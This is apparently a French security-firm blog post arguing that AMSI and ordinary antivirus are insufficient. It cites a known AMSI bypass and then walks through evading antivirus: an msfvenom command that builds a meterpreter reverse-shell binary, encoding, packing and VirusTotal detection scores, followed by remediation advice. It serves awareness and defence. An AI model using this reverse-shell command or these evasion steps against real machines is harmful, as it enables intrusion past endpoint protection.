AMSI et Antivirus :

des protections loin d’être suffisantes !

– Audit de (Cyber)sécurité –

Les attaquants peuvent cibler des entreprises pour extraire des données et les revendre ou bien paralyser le SI avec un rançongiel.

Dans une typologie standard d’organisation, chaque collaborateur peut accéder au réseau interne de son entreprise via son VPN et, dans bon nombre de cas, la seule protection dont disposent les utilisateurs sont leur antivirus mais est-ce vraiment suffisant ? (Spoiler : non)

| AMSI et Antivirus, deux choses différentes, même objectif !

Depuis Windows 10, il existe un nouveau mécanisme de défense appelé “AMSI” pour “Anti-Malware Scan Interface” dont l’objectif est de déjouer certaines techniques d’obfuscation visant à échapper aux signatures antivirus lors de l’utilisation de script (Powershell, VBS, VBA & WSH) et de programme C# notamment en analysant du code chargé dynamiquement (et exécuté) en mémoire.

Globalement, l’AMSI permet aux antivirus d’enregistrer un « AMSI » provider et de mettre du contenu identifié comme suspect à disposition de ces providers de manière à permettre aux antivirus de l’analyser.

Sans rentrer dans les détails des antivirus et de leurs fonctionnements, lors du téléchargement d’un binaire malveillant (Mimikatz.exe par exemple) celui-ci sera (normalement) directement détecté par votre solution anti-virus et supprimé. Alors que dans le cas du chargement d’un script malveillant directement en mémoire, celui-ci ne sera pas supprimé.

C’est seulement lors de son exécution que l’AMSI appellera l’antivirus qui se chargera d’analyser le script pour juger si celui-ci est malveillant ou non afin de bloquer son exécution.

Une rupture de l’AMSI provoque donc un point faible d’autant plus qu’aujourd’hui de nombreux outils offensifs fonctionnent avec PowerShell.

| Lab et objectif de l’article.

Sans rentrer dans les détails techniques, car certains éléments utilisés ici sont issus des recherches Synetis, l’objectif est de démontrer que l’AMSI et les antivirus “standards” ne présentent plus une solution suffisante.

Cependant, ceux-ci ne sont pas à considérer comme inutiles car ils protègeront contre les menaces les plus courantes et les plus standards

Pour ces tests, une machine Windows 10 Entreprise (v1809 à jour du 20/03/2020) avec un antivirus du marché sera utilisée.

| AMSI Bypass.

Comme expliqué avant, lors de l’exécution d’un script malveillant PowerShell celui-ci devrait être bloqué grâce à l’AMSI et votre Antivirus :

Cependant, en 2016, Matt Graeber a mis en ligne un bypass AMSI, qui a attribué à la valeur “amsiInitFailed” une valeur “True“, provoquant ainsi l’échec de l’initialisation de l’AMSI.

La première version n’est plus toujours fonctionnelle, cependant il a créé une seconde version qui fonctionne toujours sur les dernières versions de Windows 10 :

Bien que seul ce bypass soit présente ici, il en existe d’autres.

Les équipes de F-Secure ont mené des recherches sur le sujet (bypass de Matt Graeber) en présentant un moyen de détecter le contournement de l’AMSI en allant analyser directement la DLL de l’AMSI pour vérifier son intégrité, mais, comme il l’explique, le script doit tourner périodiquement, entre deux scans un attaquant est alors en mesure d’agir. Cette solution ne représente donc qu’une maigre rustine.

Une solution cependant serait d’interdire l’utilisation de PowerShell aux utilisateurs qui n’en ont pas la nécessité ou d’utiliser des EDR (Endpoint Detection and Response) qui se positionnent sur les couches bas niveau du système et qui sont donc capables d’opérer au niveau de la mémoire.

| Antivirus Bypass.

Partons du cas où l’outil que l’on souhaite utiliser ne dispose pas de version PowerShell (PE standard, type C/C++ typiquement) ou que pour une raison X ou Y l’outil n’est pas utilisable avec un bypass de l’AMSI il faudra donc certainement trouver une méthode pour contourner l’anti-virus.

Nous n’évoquerons pas ici les rançongiciels qui sont un peu hors catégorie, car en plus du contournement de l’anti-virus lors de son exécution, ils doivent également contourner l’anti-virus sur son comportement (souvent très agressif en cherchant tous les partages joignables, en chiffrant de nombreux dossiers, etc…).

Comme expliqué plus tôt, dès que l’on souhaitera télécharger un programme malveillant, celui-ci sera automatiquement bloqué, voir supprimé par l’anti-virus :

Il est donc nécessaire pour un attaquant de trouver un contournement à cette protection antivirale.

Les tests seront effectués en tentant d’établir une session meterpreter avec un binaire initialement générée via la commande suivante :

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.9 LPORT=8080 -f exe -o binaire.exe

Sans surprise, ce binaire est immédiatement détecté lors du téléchargement, de même lors d’une analyse sur VirusTotal, il est détecté par l’ensemble des antivirus. Il est donc possible de jouer avec les encoders présent dans Metasploit pour réduire le taux de détection.

C’est alors que le contournement d’Anti-Virus devient un vrai casse-tête, soit vous utilisez tout un tas de techniques connues, bien combinées ensemble cela peut faire l’affaire en fonction des cas. Soit, vous créez votre propre technique de bypass.

La solution la plus simple quand on génère un payload meterpreter c’est d’utiliser les encoders à disposition, pour la plateforme x86, le plus connu est « shikata ga nai », sans rentrer dans les détails, il est basé sur la fonction « XOR ».

Malheureusement, celui-ci est tellement utilisé aujourd’hui qu’à lui seul il ne suffit plus et il est détecté par quasiment tous les antivirus.

Quand on souhaite créer un payload meterpreter, une première étape pour le rendre indétectable c’est de le cacher dans un binaire connu du système.

Si on effectue cette étape à elle seule (sans encodage) et qu’on resoumet notre payload à VirusTotal on descend déjà à seulement 24 antivirus qui détectent notre binaire.

Et si on réutilise notre encoder « shikata ga nai », on arrive au score déjà plutôt intéressant de 10 antivirus détectant notre binaire.

Si l’on tente de faire mieux, avec un packer par exemple en utilisant « UPX » qui est un packer bien connu, son objectif est seulement de rendre votre exécutable plus léger en le compressant.

Sur notre version de base sans encoders, on atteint cette fois-ci le résultat de 18 antivirus qui détecte notre binaire et toujours 10 pour la version avec « shikata ga nai ».

Pour notre itération finale, on va utiliser un packer développé par un membre de l’équipe audit de Synetis, celui-ci nous permet d’atteindre le score de seulement 2 antivirus qui détecte le payload.

Cette itération nous permet donc de contourner la plupart des antivirus et d’obtenir un reverse-shell meterpreter :

Note : j’utilise ici une version x64 et non x86.

Il est également intéressant de noter que pour les tests, un petit binaire Go de 40 lignes a été créé afin d’établir un reverse-shell et celui-ci est par défaut, non détecté par l’anti-virus :

Et il est également seulement détecté par 2 antivirus sur VirusTotal :

| Conclusion du Lab & Remédiation.

Aujourd’hui, le contournement de l’AMSI est donc à portée de n’importe quel attaquant. Le contournement de l’antivirus reste quant à lui une tâche qui n’est pas simple, mais loin d’être impossible avec les bons outils qui sont, pour ce cas, tous publics et donc à la portée de n’importe qui !

Établir un plan d’action technique efficace est difficile, car il doit être réfléchi et mis en œuvre dès la conception du SI avec un principe fondamental du moindre privilège, un cloisonnement fort (VLAN dédié à l’administration …), un système de backup robuste, etc… et cet article démontre qu’aujourd’hui les antivirus “standards” ne représentent plus une solution suffisante  (sans compter les EDR qui peuvent procéder à des analyses comportementales assez impressionnantes) contre les attaques, il reste tout de même nécessaire dans un optique de défense en profondeur.